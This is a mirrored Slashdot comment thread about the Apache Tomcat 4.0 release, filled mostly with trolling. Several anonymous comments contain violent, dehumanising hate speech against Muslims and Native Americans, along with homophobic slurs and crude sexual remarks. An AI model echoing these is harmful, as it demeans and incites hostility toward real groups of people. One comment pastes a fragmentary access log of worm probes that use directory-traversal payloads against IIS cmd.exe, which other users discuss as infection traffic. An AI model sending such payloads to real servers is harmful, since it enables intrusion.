Slashdot Mirror
Apache Tomcat 4.0 Final Released
A reader writes "The latest version of the Apache Java Servlet engine has been released. 'The 4.0 release implements the Servlet 2.3 and JSP 1.2 specifications.' Read more at The Apache Group's Jakarta site."
← Back to Stories (view on slashdot.org)
frist pist
It was massive; big around as a beer can. I was quite impressed. I told my cow-orkers about it and they thought it was cool. We decided to leave it in the toilet so everyone can enjoy. Plus, it is so big, I don't think it will go down the pipe.
KIDIING
HA AH!
PTDF
Post Comment
Lameness filter encountered.
Your comment violated the postercomment compression filter. Comment
Tell that to IBM.
I sure would like to fuck Max from the Dark Angel... great ass and great boobs!
apaches are filthy foul smelling savages. kill them all and burn their vomit inducing remains.
*.edu - - [18/Sep/2001:11:06:24 -0400] "GETr HTTP/1.0" 404 11944 "-" "-"
y st em32/cmd.exe?/c+dir HTTP/1
y st em32/cmd.exe?/c+dir HTTP/1
. %c 1%1c../..%c1%1c../winnt/sy
i r HTTP/1.0" 404 11944 "-" "-
i r HTTP/1.0" 404 11944 "-" "-
i r HTTP/1.0" 404 11944 "-" "-
c +d ir HTTP/1.0" 404 11944 "-"
r HTTP/1.0" 404 11944 "-" "-"
/scripts/root.exe?/c+dir HTTP/1.0" 404 11944 "-" "-"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 404 11944 "-" "-"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 11944 "-" "-"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 11944 "-" "-"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+di
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/s
.0" 404 11944 "-" "-"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/s
.0" 404 11944 "-" "-"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../.
stem32/cmd.exe?/c+dir HTTP/1.0" 404 11944 "-" "-"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+d
"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d
"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+d
"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/
"-"
*.edu - - [18/Sep/2001:11:06:24 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+di
'nuff said
you can shove IIS
"Yes.. no matter what the culture, folk dancing is stupid." -MST3K
If IIS wasn't written by amateurs, it ought to have resulted in the dismissal of some pros.
Tomcat, on the other hand, doesn't seem to have so many security problems. Guess I'd rather trust my business to something secure than something with as many serious flaws as IIS. Even better, apart from not getting screwed over by ever new program which can exploit a buffer overrun, Tomcat doesn't set my business back a stash of cash.
Ah well. Sorry for feeding the troll.
muslims are the absolute filth of the earth!! used toilet paper is more valuable than the koran. mohammed (piss be upon him) is a disgusting faggot. a pile of rotting shit in a service station's bathroom is better looking, not to mention better smelling, than mecca.
I'm color-blind, and this scheme still hurts.
I think my retinas are bleeding now.
It's not IIS' fault if your log looks funny. You've probably missed something in the installation. Set your server up as it is intended and it will work just fine.
That's an apache log, you idiot. It's IIS sending out the requests. Jessh
Yaay.. The slow-as-shit buggy reference implementation...
I've had great success with Caucho (www.caucho.com), the product seems to work well, and integrates with apache as well.
...if when we invade all these muslim nations that the soldiers be allowed to go piss on mosques, mecca, etc. and/or shit on them. they should also hang up pictures of porn in them and to trash out the places. the koran could be used as toilet paper even though that's far more than it deserves.
So, what's the big deal with IIS sending out requests? How else would it contact the client?
Could you fit one more dick up your ass? I don't think you have enough in there.
And the security fix was released in October 2000
dumbasses, it's a log of the new virus that's running around that is happily infecting IIS servers all over the place. Doesn't matter whether it's a log off of an iis or an apache server. What does matter is that there are lots of iis servers out there that are happily getting infected and spreading it to other machines
Stinking idiot - read the earlier slashdot release, the one that talks about the next Win bug - you'll see that it's similar to code red, where the code infects an IIS server, and then sends out http requests with it's DNA in the request code, thereby infecting any other listening IIS servers.
This also means that my farking linux box is getting hammered with 404s from idiots who have their 37337 NT boxes online, and have been h4x0r3d.
Sounds like your a flaming butt pirate yourself.
Web servers don't contact clients. The same is true of most kinds of servers. Clients open a connection to a server, ask it for some data, and the server gives it to them, and then closes the clients' connections. So it's rather disturbing that an IIS server is trying to request something from another server, as that's not normal behavior at all. Especially considering that it seems to be requesting the command line program on a windows box, which looks like a hacking attempt. Not kosher at all.
Your desperate attempts to get everyone's attention have reached a new low.
Mohamed Atta -- one of the suspected hijackers on board the first plane to slam into the World Trade Center last week -- met with an Iraqi intelligence official somewhere in Europe this year, U.S. officials said Tuesday.
YES! I love you spanish inquisition, even if you are a faggot
J00 WUZ TR0LL3D!
Lameness filter encountered. Post aborted!
Reason: PLEASE DON'T USE SO MANY CAPS. USING CAPS IS LIKE YELLING!
You are not logged in. You can login now using the convenient form below, or Create an Account. Posts without proper registration are posted as Anonymous Coward
I remember visiting a website that had a url you could enter to an infected IIS server to 'net send' them a message telling them that they were infected. I've had over 1,000 logged entries in my tomcat log from infected servers and I'd like to let them know.
Does anyone have any ideas?
Thanks in advance.
Thank you for backing me up. It ain't easy trying to convince everyone alone. Sniffle. Thank you, thank you so much!
He's your hero?! Are you the one who thinks up his obvious posts? Do you arrange his frilly shirts and wax his moustache? Or are you only allowed to lick his ass?
Yeah - but Jakarata is more fun to say.
And I declare myself as an MCSE who knows too well to stay away from IIS.
Move out of your mom's basement you hippie faggot.
Which provider is that?
this post seems like it's offtopic and should be moderated accordingly
Yo hoho and a dick full of cum
16 men spoo a dead man's chest
It figures there would be hardly any informed Slashdot comments about one of the most-favored languages in application development today.
But oh, when it comes to Linux gaming or Lego Mindstorms or Python you guys really strut your stuff!